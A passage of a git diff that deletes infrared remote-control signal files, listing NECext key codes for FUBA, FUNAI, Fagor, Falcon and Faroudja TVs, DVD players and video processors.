01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 03 00 00 00 -# -name: COPY -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0C 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0E 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0F 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 10 00 00 00 -# -name: SELECT_UP -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 14 00 00 00 -# -name: SELECT_DOWN -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 17 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 18 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir deleted file mode 100644 index 91d8ddf1f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 03 00 00 00 -# -name: copy -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0B 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0C 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0E 00 00 00 -# -name: erase -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 11 00 00 00 -# -name: sel+ -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 12 00 00 00 -# -name: tune+ -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 15 00 00 00 -# -name: sel- -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 16 00 00 00 -# -name: tune- -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir deleted file mode 100644 index 36146899a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 09 00 00 00 -# -name: KEY_STANDBYON -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 20 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 22 00 00 00 -# -name: KEY_COLORSYSTEM -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 2E 00 00 00 -# -name: KEY_INPUTSELECT -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 40 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 50 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 60 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 61 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 64 00 00 00 -# -name: KEY_SOUNDSELECT -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 65 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 70 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 73 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 74 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 75 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 76 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 77 00 00 00 -# -name: KEY_PROGRETURN -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 78 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 79 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 7A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 7B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 7C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 7D 00 00 00 -# -name: KEY_SCREENMODE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 90 00 00 00 -# -name: KEY_PIP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 91 00 00 00 -# -name: KEY_DISP -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 9B 00 00 00 -# -name: KEY_EXPAND -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 9D 00 00 00 -# -name: KEY_TXT -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: A8 00 00 00 -# -name: KEY_REVEAL -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: A9 00 00 00 -# -name: KEY_TXTSTOPSEQUENCE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: AA 00 00 00 -# -name: KEY_SUBCODE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: AD 00 00 00 -# -name: KEY_TXTCONTENTSPAGE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: AE 00 00 00 -# -name: KEY_SERVICE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir deleted file mode 100644 index 63d0b4816..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 84 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 88 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 90 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 91 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 97 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 98 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 99 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: C0 00 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir deleted file mode 100644 index fe28ab4db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: store -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 82 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 83 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 84 00 00 00 -# -name: skew_up -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 85 00 00 00 -# -name: skew_down -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 86 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 87 00 00 00 -# -name: audio_down -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 88 00 00 00 -# -name: bw -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 89 00 00 00 -# -name: h/v -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 8A 00 00 00 -# -name: audio_up -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 8B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 9A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 9B 00 00 00 -# -name: norm -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 9C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 9D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 9E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 2F 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir deleted file mode 100644 index 1b32448d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CONDITION_MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP/SLOW_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP/SLOW_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir deleted file mode 100644 index eb21ca2a2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir deleted file mode 100644 index 31b2736ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: FACTORY_PRESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: USER_PRESETS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: VALUE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: VALUE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir deleted file mode 100644 index 31b2736ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: FACTORY_PRESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: USER_PRESETS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: VALUE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: VALUE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir deleted file mode 100644 index 47e51f4c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: PRESET/ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: SELECT/ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: FUNCTION_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: VALUE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: VALUE_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: FUNCTION_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: VALUE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: VALUE_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir deleted file mode 100644 index 73dce7186..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: PRESET/ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: FACTORY_PRESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: USER_PRESETS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: FUNCTION_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: VALUE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: FUNCTION_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: VALUE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: BRIGHTNESS -type: 